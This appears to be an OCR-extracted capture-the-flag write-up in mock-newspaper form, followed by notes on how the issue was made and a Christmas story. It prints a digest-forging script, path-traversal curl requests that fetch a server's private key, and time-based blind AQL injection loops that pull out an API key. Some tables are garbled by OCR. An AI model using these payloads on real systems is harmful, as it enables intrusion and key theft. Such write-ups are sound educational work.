if decoded bytes == self.digest(): return True, None except Exception as e: stack trace = traceback.format exc() return False, f"{stack trace}" return False, None

Convert ASCII string to bytes encoded string = 52fnginx%252fcerts%252fapi.frostbit.app.key"

decoded once = urllib.parse.unquote(encoded string) decoded twice = urllib.parse.unquote(decoded once) print ("once: " + decoded once) filename bytes = decoded twice.encode('latin') print ("url: " + decoded twice)

filename_bytes = binascii.unhexlify("72ffa4aac16f1c1272ffa4aac16f1c12") + filename_bytes # <-------- INSERT bytes to ZERO the NONCE with XOR help

print ("filename bytes: " + str(filename bytes)) file bytes string = sys.argv[1] file bytes = file bytes string.encode('utf-8')

Convert hex string to bytes nonce bytes = binascii.unhexlify("a4aac16f1c1272ff") #nonce bytes = binascii.unhexlify("000000000000000")

Set hash length hash length = 16

Initialize the Frostbyte128 object frostbyte = Frostbyte128(file bytes, filename bytes, nonce bytes, hash length)

To check the resulting hash in hexadecimal print(frostbyte.hexdigest())

python	frostb	it	.py sddd	dddddf	sdfs	dfdsf	sdjfba	sdfb
once:	%2e%2e%	2f	%2e%2e%2	f%2e%2e	%2f%	2e%2e	%2f%2e	%2e%
app.ke	y							
url: .	.//	1.	.///	etc/ngi	nx/c	erts/	api.fr	ostb
filena	me byte	s:	b'r\xff	\xa4\xa	a\xc	:10\x1	c\x12r	\xff
nginx/	certs/a	pi	.frostbi	t.app.k	ev'			
Digest	Pos(6)	=	Filename	Pos (54)	XOR	Nonce	Pos(6)	AND
Digest	Pos(7)	=	Filename	Pos (55)	XOR	Nonce	Pos (7)	AND
Digest	Pos(8)	=	Filename	Pos (56)	XOR	Nonce	Pos(0)	AND
Digest	Pos(9)	=	Filename	Pos (57)	XOR	Nonce	Pos(1)	AND
Digest	Pos(10)	=	Filename	Pos(58)	XOR	Nonce	Pos(2)	AND
Digest	Pos(11)	=	Filename	Pos (59)	XOR	Nonce	Pos (3)	AND
Digest	Pos (12)	=	Filename	Pos(60)	XOR	Nonce	Pos(4)	AND
Digest	Pos(13)	=	Filename	Pos(61)	XOR	Nonce	Pos(5)	AND
Digest	Pos(14)	=	Filename	Pos(62)	XOR	Nonce	Pos(6)	AND
Digest	Pos(15)	=	Filename	Pos(63)	XOR	Nonce	Pos(7)	AND
Digest	Pos(0)	=	Filename	Pos(64)	XOR	Nonce	Pos(0)	AND
Digest	Pos(1)	=	Filename	Pos(65)	XOR	Nonce	Pos(1)	AND
Digest	Pos(2)	=	Filename	Pos (66)	XOR	Nonce	Pos(2)	AND
Digest	Pos(3)	=	Filename	Pos(67)	XOR	Nonce	Pos (3)	AND

sdhafbjsdhfbasdfsdsdfsdf 2f%2e%2e%2fetc%2fnginx%2fcerts%2fapi.frostbit. it.app.key \xa4\xaa\xc1o\x1c\x12../../../../../etc/ Digest Pos(6) = 0x66 XOR 0x72 AND 0x10 = 0x10Digest Pos(7) = 0x72 XOR 0xff AND 0x85 = 0x85Digest Pos(8) = 0x6f XOR 0xa4 AND 0xc0 = 0xc0Digest Pos(9) = 0x73 XOR 0xaa AND 0xc9 = 0xc9Digest Pos(10) = 0x74 XOR 0xc1 AND 0xb5 = 0xb5 Digest Pos(11) = 0x62 XOR 0x6f AND 0x9 = 0x9Digest Pos(12) = 0x69 XOR 0x1c AND 0x70 = 0x70Digest Pos(13) = 0x74 XOR 0x12 AND 0x60 = 0x60Digest Pos(14) = 0x2e XOR 0x72 AND 0x0 = 0x0Digest Pos(15) = 0x61 XOR 0xff AND 0x9a = 0x9a Digest Pos(0) = 0x70 XOR 0xa4 AND 0x4 = 0x4Digest Pos(1) = 0x70 XOR 0xaa AND 0x0 = 0x0Digest Pos(2) = 0x2e XOR 0xc1 AND 0x7 = 0x7Digest Pos(3) = $0 \times 6b \times CR \times 0 \times 6f \times AND \times 0 \times 0 = 0 \times 0$

Art 3

Decrypt the Naughty-Nice List.

Digest Pos(4) Digest Pos(5)	=	Filename Filename	Pos(68) Pos(69)	XOR XOR	Nonce Nonce	Pos(4) Pos(5)	AND AND	Digest Digest	Pos(4) Pos(5)		0x65 0x79	XOR XOR	0x1c 0x12	AND AND	0x19 0x1	-	0x19 0x1	
Digest Pos(6)	=	Filename	Pos (0)	XOR	Nonce	Pos (6)	AND	Digest	Pos(6)	=	0x72	XOR	0x72	AND	0x0	=	0x0	<.
START of	NO	NCE zeroi	ng			D (7)					0 55		0 55		0.0		0 0	
Digest Pos(7)	-	Filename	Pos(1)	XOR	Nonce	Pos(1)	AND	Digest	Pos (7)	=	UXII	XOR	UXII	AND	0x0	=	0x0	
Digest Pos(8)	-	Filename	Pos (2)	XOR	Nonce	Pos(0)	AND	Digest	Pos (8)	=	0xa4	XOR	0xa4	AND	0x0	=	0x0	
Digest Pos(9)	=	Filename	Pos (3)	XOR	Nonce	Pos(1)	AND	Digest	Pos (9)	=	Oxaa	XOR	Oxaa	AND	0x0	=	0x0	
Digest Pos(10)	=	Filename	Pos (4)	XOR	Nonce	Pos (2)	AND	Digest	Pos (10)	=	Uxcl	XOR	Oxcl	AND	0x0	=	0x0	
Digest Pos(11)	=	Filename	Pos (5)	XOR	Nonce	Pos (3)	AND	Digest	Pos (11)	=	Ux6i	XOR	0x6i	AND	0x0	=	0x0	
Digest Pos(12)	=	Filename	Pos (6)	XOR	Nonce	Pos (4)	AND	Digest	Pos (12)	=	OXIC	XOR	OXIC	AND	0x0	=	0x0	
Digest Pos(13)	=	Filename	Pos (/)	XOR	Nonce	Pos (5)	AND	Digest	Pos (13)	=	0x12	XOR	0x12	AND	0x0	=	0x0	
Digest Pos(14)	=	Filename	Pos (8)	XOR	Nonce	Pos (6)	AND	Digest	Pos (14)	=	0x/2	XOR	0x/2	AND	0x0	=	0x0	
Digest Pos(15)	=	Filename	Pos (9)	XOR	Nonce	Pos(/)	AND	Digest	Pos (15)	=	UXII	XOR	UXII	AND	0x0	=	0x0	
Digest Pos(U)	-	Filename	Pos (10)	XOR	Nonce	Pos(0)	AND	Digest	Pos (U)	=	0xa4	XOR	0xa4	AND	0x0	=	0x0	
Digest Pos(1)	=	Filename	Pos (11)	XOR	Nonce	Pos(1)	AND	Digest	Pos (1)	-	Uxaa	XOR	Uxaa	AND	0x0	=	0x0	
Digest Pos(2)	-	Filename	Pos (12)	XOR	Nonce	Pos(2)	AND	Digest	Pos (2)	=	UXCI	XOR	UXCI	AND	0x0	-	0x0	
Digest Pos(3)	-	Filename	Pos (13)	XOR	Nonce	Pos(3)	AND	Digest	Pos (3)	-	UX6I	XOR	UX6I	AND	0x0	=	0x0	
Digest Pos(4)	-	Filename	Pos (14)	XOR	Nonce	Pos (4)	AND	Digest	Pos (4)	=	UXIC	XOR	UXIC	AND	0x0	=	0x0	
Digest Pos(5)	-	Filename	Pos (15)	XOR	Nonce	Pos(5)	AND	Digest	Pos (5)	=	UXIZ	XOR	UX12	AND	0x0	=	0x0	
Digest Pos(6)	-	Filename	Pos (16)	XOR	Nonce	Pos (6)	AND	Digest	Pos (6)	=	0x2e	XOR	0x12	AND	0x0	=	0x0	
Digest Pos(7)		Filename	POS(17)	XOR	Nonce	POS(/)	AND	Digest	Pos (7)	-	Ux2e	XOR	UXII	AND	0XU	=	0XU	
Digest Pos(8)	-	Filename	Pos (18)	XOR	Nonce	Pos(0)	AND	Digest	Pos (8)	=	UX2I	XOR	0xa4	AND	0x0	-	0x0	
Digest Pos(9)		Filename	POS (19)	XOR	Nonce	Pos(1)	AND	Digest	Pos (9)	-	UXZe	XOR	Uxaa	AND	0XU	=	0XU	
Digest Pos(10)	1	Filename	Pos (20)	XOR	Nonce	Pos(2)	AND	Digest	Pos(10)	-	0x2e	XOR	UXCL	AND	0x0	=	0x0	
Digest Pos(11)	-	Filename	Pos (21)	XOR	Nonce	Pos(3)	AND	Digest	Pos (11)	-	UX2I	XOR	UX6I	AND	0x0	=	0x0	
Digest Pos(12)		Filename	POS (22)	XOR	Nonce	Pos(4)	AND	Digest	POS (12)	-	Uxze	XOR	UXIC 0.10	AND	0XU	-	0XU	
Digest Pos(13)	2	Filename	POS (23)	XOR	Nonce	Pos(5)	AND	Digest	POS (13)	5	0x2e	XOR	UXIZ	AND	0x0	-	0x0	
Digest Pos(14)		Filename	POS (24)	XOR	Nonce	POS (6)	AND	Digest	POS (14)	-	UXZI	XOR	UX12	AND	UXU 0x0	=	0XU	
Digest Pos(15)		Filename	POS (25)	XOR	Nonce	POS(/)	AND	Digest	POS (15)		Ux2e	XOR	UXII	AND	UXU 0x0	=	0XU	
Digest Pos(U)		Filename	POS (26)	XOR	Nonce	Pos(0)	AND	Digest	Pos(0)	-	UXZe	XOR	0xa4	AND	0XU	-	0XU	
Digest Pos(1)	1	Filename	POS (27)	XOR	Nonce	POS(1)	AND	Digest	Pos(1)	=	UXZI 02	XOR	0xaa	AND	0x0	-	0x0	
Digest $Pos(2)$		Filename	POS (28)	XOR	Nonce	POS(2)	AND	Digest	POS(2)		0x2e	XOR	UXCI	AND	0x0	-	0x0	
Digest Pos(3)	67	Filename	POS (29)	XOR	Nonce	POS(3)	AND	Digest	Pos(3)		0x2e	XOR	UX61	AND	0x0	-	0x0	
Digest Pos(4)		Filename	POS(30)	NOR	Nonce	POS(4)	AND	Digest	POS(4)	1	0x21	NOR	0x1C	AND	00		00	
Digest Pos(J)	2	Filename	POS (31)	NOR	Nonce	POS(J)	AND	Digest	POS(J)	2	0x2e	NOR	0x12	AND	00	-	00	
Digest Pos(6)	1	Filename	POS (32)	NOR	Nonce	POS(0)	AND	Digest	POS(0)	1	0x2e	NOR	0x12	AND	0x0	Ξ	00	
Digest Pos(7)	82	Filename	POS (33)	VOR	Nonce	POS(7)	AND	Digest	POS(7)	-	Ox21 Ox65	VOR	0x11	AND	0x0	-	0x0	
Digest Pos(0)	1	Filename	POS (34)	VOR	Nonce	POS(0)	AND	Digest	POS(0)	-	0x05	VOD	0xa4	AND	0x0	-	0x0	
Digest Pos(9)		Filename	POS (35)	VOR	Nonce	POS(1)	AND	Digest	POS(3)	_	01/4	VOD	0xaa	AND	0x0	_	0x0	
Digest Pos(10)	1	Filename	POS (30)	VOR	Nonce	POS(2)	AND	Digest	POS(10)	Ξ	0x05	VOD	0xCI 0x6f	AND	0.10	Ξ	0x0	
Digest Pos(11)		Filonamo	Pos (38)	YOP	Nonco	Pos(J)	AND	Digost	Pos(11)	-	0x21	VOD	Ov1c	AND	0.40		0.40	
Digest Pos(12)	1	Filonamo	Pos (30)	VOP	Nonco	Pos(4)	AND	Digost	Pos (12)	-	0x02	VOD	0112	AND	0.40		0.40	
Digest Pos(14)		Filonamo	Pos (40)	XOR	Nonce	Pos (6)	AND	Digest	Pos(13)	-	0x69	XOR	0x12	AND	0x0	-	0x0	
Digest Pos(14)	207	Filonamo	Pos (41)	XOR	Nonce	Pos(0)	AND	Digest	Pos(14)	-	0x60	XOR	Ovff	AND	0x0	-	0x0	
Digest Pos(0)		Filonamo	Pos (42)	XOR	Nonce	Pos (0)	AND	Digest	Pos (0)		0x00	YOR	Oval	AND	0x0	1	0x0	
Digest Pos(1)		Filename	Pos (43)	XOR	Nonce	Pos(1)	AND	Digest	Pos(1)	-	0x70	XOR	Oxaa	AND	0x0	-	0x0	
Digest Pos(2)	_	Filename	Pos (44)	XOR	Nonce	Pos (2)	AND	Digest	Pos (2)	_	0x63	XOR	Oxc1	AND	0x0	-	0x0	
Digest Pos(3)		Filename	Pos (45)	XOR	Nonce	Pos (3)	AND	Digest	Pos (3)	-	0x65	XOR	0x6f	AND	0x0	-	0x0	
Digest Pos(4)	_	Filename	Pos (46)	XOR	Nonce	Pos(4)	AND	Digest	Pos(4)	_	0x03	XOR	Ox1c	AND	0x0		0x0	
Digest Pos(5)	1	Filename	Pos (47)	XOR	Nonce	Pos(5)	AND	Digest	Pos (5)	-	0x74	XOR	0x12	AND	0x0	-	0x0	
Digest Pos(6)	_	Filename	Pos (48)	XOR	Nonce	Pos(6)	AND	Digest	Pos (6)	=	0x73	XOR	0x72	AND	0x0	-	0x0	
Digest Pos(7)	-	Filename	Pos (49)	XOR	Nonce	Pos (7)	AND	Digest	Pos(7)	-	0x2f	XOR	Oxff	AND	0x0	=	0x0	
Digest Pos(8)	-	Filename	Pos (50)	XOR	Nonce	Pos (0)	AND	Digest	Pos (8)	-	0x61	XOR	0xa4	AND	0x0	=	0x0	
Digest Pos(9)	-	Filename	Pos (51)	XOR	Nonce	Pos (1)	AND	Digest	Pos (9)	=	0x70	XOR	0xaa	AND	0x0	=	0x0	
Digest Pos(10)	-	Filename	Pos (52)	XOR	Nonce	Pos (2)	AND	Digest	Pos (10)	=	0x69	XOR	0xc1	AND	0x0	=	0x0	
Digest Pos(11)	=	Filename	Pos (53)	XOR	Nonce	Pos (3)	AND	Digest	Pos (11)	=	0x2e	XOR	0x6f	AND	0x0	=	0x0	
00000000000000	000	200000000	0000000	000					/									
	501																	

So if I set the appropriate bytes at the appropriate place (as indicated in the programme code and in the output), I could always set the value to zero using the XOR operation, so that ultimately the entire digest consisted only of zeros. When I now inserted my target file double encoded, I was finally successful.

curl "https://api.frostbit.app/view/

%25c1%256f%251c%2512%2572%25ff%25a4%25aa%25c1%256f%251c%2512%2572%25ff%25a4%25aa%252e%252f% s%252fapi.frostbit.app.key/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/status?

const uuid = "37492952-xxxx-yyyy-b6ad-f8accc4ef12f";

const debugData =

"LSOtLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSU1KS0FJQkFBS0NBZ0VBcGxnNWVLRHZrOWYrZ3NXV1pVdHBGcjg wb2pUWmFibTRSdHkwTG9yd3RxNVZKZDM3Cjh . . .

The final steps now followed. Firstly, I used CyberChef to decrypt the encrypted key using the RSA private

. . .

Article List

Decrypt the Naughty-Nice List.

Recipe	8 🖬 🕯	Input	length: 1024 lines: 1 + 🗅 🔁 📋 🖿
From Hex Delimiter None	0 11	8c2f47b470548372a965258b57f1fd38b9f9 ab41b4d924b539f6e3e6256ec7d9e28871ae 81a4a38c2b8be6d99cee39ed938e7db7b815 0f6b6bbf881ecf4b4aa5aaca43e6d23c11c 1cd880aa300e7c970069b4da6b0a105628dc b2b7c990c8addd6e1c85544d4bd457aba80	664d80419e163b4ca600c81170f30455f7145c43d5133b0c2328417507a936 92cc6e78fde9b9c31e083b21a11d0fb87b1f6ffdd60c709e15fc82d21ce818 if904d28fe63c606b6662d521d23c99650a9a21e06849e053ea8af05c367ec6 33b9adfe60885e5fa3c763538c6b1127e5c15fe3ce8d41738ead1c62f08ec9 94f611082f64082e8a6674fc63da687a526b79ef9c9097b74c7a3c297de6fe 9899affccfaab258e723637d7f177d820dd7ce4fe55ae724186230a118fc
RSA Decrypt	⊙ II	7e591bf37d75ea3c6fb1a0295ada39022f21	91e3b85541c91475d984c3715ab47716f729abf85d5deda1e1b8b2fe5c2d48
RSA Private Key (PEM) BEGIN RSA PRIVATE K MIIJKAIBAAKCAgEAplg5eKDv bm4Rty0Lorwtq5VJd37	EY k9f+gsWWZUtpFr80ojTZa	b4b578edb8773de3b11615a34fedd8ad2dc9 db0f4777535eb741e824050cd5749ed72d15 c6d5b6e9892fb5d41e9767de	1375459c53abb112eff8908d2fa27d3df7dcc21e15a012701cb7f8ce864561a efa00c2499577697cfed477bf0e18211ef409ba628d0f661fab023e8e85fd6
Key Password			
Encryption Scheme RSAES-PKCS1-V1_5		Output	time: 111ms length: 49
		f8cd0239fda5f6a19f45bbd185ba7260_a4a	aar165- 1

Now the last step remained, the decryption of the naughty and nice list. Of course, I didn't really know the algorithm used. So I took another look at the programme, either via the command line or a debugger. Using this knowledge and the AES algorithm, I could finally recover everything. A truly mammoth task!

strings frostbit.elf | grep -i decrypt

crypto/aes.(*aesCipher).Decrypt

go:itab.*crypto/cipher.cbcDecrypter,crypto/cipher.BlockMode

.text:0000000006A0D60 ; void _golang main_encryptFile(string_0 inputFilePath, string_0 outputFilePath, string_0 keyHex, error_0 _r0, error_0 _r0) .text:0000000006A0D60 public main encryptFile

call	runtime stringtoslicebyte		
call	os ReadFile		
lea	rcx, main encryptFile func1		
call	runtime makeslice		
call	crypto rand Read		
call	crypto aes NewCipher		
call	bytes Repeat		North Star
call	runtime growslice		
call	runtime makeslice		
call	crypto cipher NewCBCEncrypter		
mode = :	rbx	;	crypto
call	os OpenFile		de astr
call	os ptr File Write		

<pre>.text:000000006A1780 ; voidgola http_Client *client, bool getPublicK rsa_PublicKey *_r2, crypto_rsa_Publi .text:000000006A1780</pre>	ng main_GetNon ey, bool_r0,1 cKey *_r2) public main
<pre>client 0 = rsi getPublicKey_0 = r8 botid = rcx hostname = rbx call net_http_ptr_Client_Get call runtime_newobject call encoding json Unmarshal</pre>	; net_http ; bool
cert = rax .text:000000006A1A84	; crypto_x lea rdx

rax, aErrorThePublic ; "Error: The public key is not RSA" lea rax, aErrorNoPeerCer ; "Error: No peer certificates found" lea

Article List

cipher_BlockMode

nce(string 0 hostname, string 0 botid, net bool r0, string 0 r1, string 0 r1, crypto

GetNonce

Client *

```
509 Certificate *
rdx, RTYPE_ptr_rsa_PublicKey
```

Page 43 / 51

Decrypt the Naughty-Nice List. Deactivate Frostbit Naughty-Nice List Publication

rax, aErrorNonceFiel ; "Error: 'nonce' field is missing or not "... lea

lecipe	8 🖬 🕯	Input	length: 47.952 🕂 🗋 🖬
ES Decrypt	© Ⅱ		
_{Key} f8cd0239fda5f6a19f45bbd185ba7260	UTF8 -		
v 200000000000000	UTF8 🕶	Name: naug!	hty_nice_list.csv.frostbit2
Aode Input BC/NoPadding Raw	Output Raw	File icon Type: unknov Loaded: 100	bytes wn %
		Output	start: 47845 time: 9ms end: 47856 length: 47952 length: 11 lines: 441
		431,0livia Orbit,16,Nice,Volunteered at a local 432,Paul Prism,17,Naughty,Had a surprise DIY cr 433,Quinn Quick,6,Nice,Helped clean up after a away properly 434,Rachel Riddle,7,Naughty,Used her moms new a and made a mess 435,Sammy Sparkle,8,Nice,Organized a neighborhu safe ride 436,Tina Tumble,9,Naughty,Turned the familys 1 messy	l charity and made sure the event was a success raft party and left a mess with the craft supplies family gathering and made sure everything was put art supplies to create a giant mural in the hallway ood bike parade and made sure everyone had a fun and iving room into a mini-amusement park and left it
		437,Uri Unicorn,10,Nice,Helped with a local con efficiently 438,Vera Vivid,11,Naughty,Used her dads tools in disarray 439,Willie Wisp,12,Nice,Volunteered at a local	mmunity event and ensured everything was done to build a mini fort in the living room and left it animal shelter and made sure the animals were well
		looped for	

I'm absolutely delighted - you've managed to crack that frosty code and rescue the Naughty-Nice List just in time! I knew you could do it, and now we can get back to toy delivery and make this a truly memorable holiday. You're a real North Pole hero!

Deactivate Frostbit Naughty-Nice List Publication - Blinded vision

Mr. Coalbox, following up on the Frostbit ransomware situation, could you explain why completely disabling the publication system was deemed necessary after the decryption efforts, and how this related to the broader resolution of the Naughty-Nice List crisis?



Tangle Coalbox: In order to find a starting point for this challenge, I first needed some information from the Santa Vision Challenge. When I listened to the Frostbit feed there, a reference to the URL that allowed deactivation appeared.

Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley

I still knew my Unique User ID (UUID or botid) from the Decrypt the Naughty-Nice List challenge. When I used any value for the X-API-Key header, as seen in the feed, I also received the response that this call was not valid. However, as in the decrypt challenge, I added the debug parameter to the call and thus at least got an indication of the invalid key.

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/ deactivate -H "X-API-Key:Test' {"error":"Invalid Request"}

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/ deactivate?debug=true -H "X-API-Key: Test"

Deactivate Frostbit Naughty-Nice List Publication

{"debug":true, "error": "Invalid Key"}

Since this header was the only obvious variable point, I added special characters to trigger error messages to indicate a possible SQL injection. And indeed, a single quote generated an error. I restructured the error message a little more nicely in order to understand it better and obtained a reference to ArangoDB, a graph database, in a web search.

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/ deactivate?debug=true -H "X-API-Key: Test '" {"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key name omitted> == '{user supplied x api key}'\n <other query lines omitted>\n RETURN doc"}

FOR doc IN config FILTER doc.<key name omitted> == '{user supplied x api key}' <other query lines omitted> RETURN doc

My entry point and variable part was therefore user supplied x api key, which I could pass via the URL. Unfortunately, I very quickly received the response <u>Request Blocked</u> from the server as soon as I started adding certain keywords in the AQL, the Arango Query Language. The easy way was therefore not open to me.

However, my elf colleagues had also told me that I had to **operate blindly**. So when I exhausted the server with a valid query, a longer response time could be a good indication as opposed to an error that provided a quick response, a classic blind sql injection.

Here, too, I had to try out a little with the help of the developer's syntax manual, as many operators were blocked. However, I found out that the sleep operation and the ternary operator passed. This allowed me to make queries that took a long time in the true case and not in the false case.

time curl "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (true?sleep(20):2) || '" {"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key name omitted> == '{user supplied x api key}'\n <other query lines omitted>\n RETURN doc"}

0m2.364s real 0m0.028s user 0m0.005s sys

time curl "https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/deactivate?debug=true" -H "X-API-Key: Test' || (false?sleep(20):2) || '" {"debug":true, "error": "Invalid Key"}

0m0.365s real 0m0.031s user 0m0.000s SVS

The next step was to understand how the data structures in this database were organised in the first place; either the manufacturer's website directly or a web search would help me here. As I did not know the name of my attribute (see <u>doc.<key</u> name <u>omitted></u>), I had to first read it out. I chose the simple approach of checking whether the value began with a certain letter. If there was a match, the waiting time was longer. Then I moved on to the next letter. Finally I got: deactivate api key.

for i in {a..z} {0..9} ' ' '-' '#' ; do echo "Testing \$i"; curl --max-time 1 "https://api. frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/deactivate? debug=true" -H "X-API-Key: Test' || (SUBSTRING(ATTRIBUTES(doc)[0],0,1) == \"\$i\" sleep(50):2) || '"; echo ""; sleep 1; done Testing a {"debug":true, "error": "Invalid Key"}

Testing b {"debug":true, "error": "Invalid Key"]

Testing c {"debug":true, "error": "Invalid Key"}

Testing d curl: (28) Operation timed out after 1002 milliseconds with 0 bytes received

Article List



The Kringle Post

Page 45 / 51

Art 3

Deactivate Frostbit Naughty-Nice List Publication Grande Finale

for i in {a..z} {0..9} '_' '-' '#'; do echo "Testing \$i"; curl --max-time 1 "https://api. frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8acc24ef12f/deactivate? debug=true" -H "X-API-Key: Test' || (SUBSTRING(ATTRIBUTES(doc)[0],0,19) == \"deactivate api key\$i\" ?sleep(50):2) || '"; echo ""; sleep 1; done

Now that I knew the name of my attribute, all I had to do was read out the value in it. To do this, I used exactly the same approach.

for i in {a..z} {0..9} ' ' '-' '#'; do echo "Testing \$i"; curl --max-time 1 "https://api. frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/deactivate? debug=true" -H "X-API-Key: Test' || (SUBSTRING(doc.deactivate_api_key,0,1) == \"\$i\" sleep(50):2) || '"; echo ""; sleep 1; done Testing a

curl: (28) Operation timed out after 1001 milliseconds with 0 bytes received

Testing b {"debug":true, "error": "Invalid Key"}

Testing c {"debug":true, "error": "Invalid Key"}

for i in {a..z} {0..9} ' ' '-' '#'; do echo "Testing \$i"; curl --max-time 1 "https://api. frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/deactivate? debug=true" -H "X-API-Key: Test' || (SUBSTRING(doc.deactivate api key,0,37) == \"abe7a6ad-715e-4e6a-901b-c9279a964f91\$i\" ?sleep(50):2) || '" ; echo ""; sleep 1; done

Hooray! Now I could send my actual request for deactivation and had completed the task.

curl https://api.frostbit.app/api/v1/frostbitadmin/bot/37492952-xxxx-yyyy-b6ad-f8accc4ef12f/ deactivate -H "X-API-Key:abe7a6ad-715e-4e6a-901b-c9279a964f91" {"message":"Response status code: 200, Response body: {\"result\":\"success\", \"rid\": \"37492952-xxxx-yyyy-b6ad-f8accc4ef12f\",\"hash\": \"e19274f1377f614403fc72333577e68ff4654d716ac60706e5a813572b2efc31\",\"uid\":\"80511\"}\nPOSTED WIN RESULTS FOR RID 37492952-xxxx-yyyy-b6ad-f8accc4ef12f","status":"Deactivated"}

Grande Finale - Warming Words

Mr. Claus, having returned to find your operations divided between Team Wombley and Team Alabaster, with incidents ranging from ransomware attacks on the Naughty-Nice List to hijacked broadcasts and a secret drone armada in your toy factory, could you share your perspective on how this conflict affected the North Pole community, and what wisdom you'd like to impart to both your elves and our readers about the importance of unity during the holiday season?

Santa Claus: I thought the holidays were truly lost this year. I am so thankful you all were here to right the wrongs of my misguided elves. I will ensure they never jeopardize the holidays again. This is the kind of behavior I expect from Jack Frost and his Trolls, not the elves.

But, I suppose I have fault in this as well, since it's the first time I've been away at the start of the season, and after last year's unconventional holidays.

Plus, I didn't inform the elves ahead of time. Quite the lesson learned on my part. Even the best of us can always improve.

I know each faction had the best interest of the holidays at heart, even if their methods were misguided. It's important to have empathy and forgiveness, especially during the holidays.

After all, the greatest gift we give AND receive is time spent with loved ones. Never forget that!

Now let's put all this behind us and be merry. Until next year! Happy Holidays!

Santa

This issue was made possible by: www.kringlecraft.com

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Grande Finale

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Article List



Previous editions

2021 Edition - Markdown rules

The first edition was published in 2021. All content was created in a markdown editor and then published as a PDF file. The original can be found here. The content was also later integrated into KringleCraft.

\star \star Super Honorable Mention awarded \star \star

2022 Edition - Python rules

The second edition was created in 2022. With the help of Python scripts, the individual Markdown components and the images were automatically assembled and linked. This allowed the focus to be on the content, as the scripts could take care of the tedious things. The original can be found here. The content was also subsequently integrated into KringleCraft.

 \star Honorable Mention awarded \star

2023 Edition - Flask and Bootstrap rules

The third edition was created in 2023. The individual Python scripts were used to create a complete web application that uses Flask and Bootstrap. The actual data is stored in a SQLite database and the images are stored in the file system. The application can be used either locally or on a server and has no prerequisites except for Python. The source files can be found on Github. The content for 2023 can be found here, the automatically generated report can be found here.

 \star \star Super Honorable Mention awarded \star

2024 Edition - Desktop Publishing and AI rules

After acquiring some very technical programming skills (Python, SQL, Flask, Bootstrap), the focus should be on other skills in the current year - image editing, desktop publishing and using AI for supporting these activities.

See the creation story on the following page.

The content itself will, of course, be available on KringleCraft again.

Insights into the making of this issue

Few words from our editor-in-chief

The first step mainly consisted of documenting the solution steps and taking appropriate screenshots and, if necessary, creating necessary code snippets. Since I'm not a native speaker, I have all text translated by a tool so that it sounds more understandable. As in the previous year, I uploaded texts and code as Markdown in KringleCraft and added images if needed.

For the second step, I thought about making an authentic newspaper with reports from the North Pole as this year's motto. For this purpose, I created three different prompts for the AI. One prompt translated the tasks set by the elves as if they were a reporter's question to the respective elf. The second prompt then translated my own solutions as if they were the elf's answer to the reporter's question. I used a third prompt to enrich and better describe general parts.

For the third and final step, I designed a template for the magazine in a desktop publishing program. I then generated text ---styles for the individual parts such as questions, answers, images and code. Finally, I just had to copy the content and assign the individual styles. There was almost no manual work to be done, and any that was needed was just adding additional content. I was thrilled with the good results that could be achieved with good preparation and the help of AI.





Feuilleton

This year's Christmas Carol.

Long ago in the snowy realm of the North Pole (not too faraway if you're a reindeer) there existed a magical land ruled by a mysterious figure known as the Great Claus. Two spirited elves Twinkle and Jangle roamed this frosty kingdom defending it from the perils of holiday cheerlessness. Twinkle sporting a bright red helmet-shaped hat that tilted just so as quick-witted and even quicker with a snowball. Jangle a bit taller wore a green scarf that drooped like a sleepy reindeer's ears. Together they were the Mistletoe Knights the protectors of the magical land and the keepers of Claus' peace. One festive morning the Great Claus summoned them for a critical quest. 'Twinkle angle the time has come he announced wit a voice that rumbled like thunder across the ice plains. 'The fabled Never-Melting Snowflake a relic that grants one wish lies hidden beyond the Peppermint Expanse. Retrieve it and all marshmallow supplies will be secured!' Armed with Jangle's handmade map (created with crayon and a lot of optimism) the duo set off aboard their toboggan the Frostwing. However the map led them in endless loops around the Reindeer Academy much to the amusement of trainee reindeer perfecting their aerial maneuvers. Blitzen eventually intercepted them chuckling 'Lost fellas? The snowflake isn't there. Try the Enchanted Peppermint Grove!' Twinkle facepalmed as Jangle pretended to adjust his map. With Blitzen's directions they zoomed off again this time on the right course. The Peppermint Grove was alive with its usual enchantmentscandy cane trees swayed and sang ancient ballads of epic sleigh battles and the triumphs of Claus' candy cane squadrons. Twinkle and Jangle joined the peppermint choir their voices harmonizing with the festive tune. Hours later the duo stumbled upon a hidden cave guarded by giant gumdrop sentinels (luckily on their lunch break). Inside the air shimmered with Claus' magic. There it was the Never-Melting Snowflake listening on a pedestal of ice. Twinkle's eyes widened 'We've found it Jangle! The key to infinite marshmallows!' As Twinkle reached for the snowflake a voice boomed from the cave walls 'One wish you have. Choose wisely or face the egg-nog of regret.' Without hesitation Jangle exclaimed 'An endless supply of marshmallows for our cocoa!' The snowflake glowed and with a burst of magic marshmallows poured down covering the cave in a fluffy sweet avalanche. Back at the workshop the elves were hailed as heroesthe Marshmallow Knights of Claus. They spent the rest of the season crafting new cocoa recipes and sharing their bounty with all. And sounder the twinkling stars of the northern skies Twinkle and Jangle continued their adventures their mugs full of cocoa their hearts full of joy and their days full of magic. For in the North Pole every quest was a chance for festive fun and every snowflake was a promise of more marshmallows to come.

All the best and a Merry Christmas!



Thank you so much, Santa, elves, geese, hens, doves and the entire SANS team.

See you in the new year.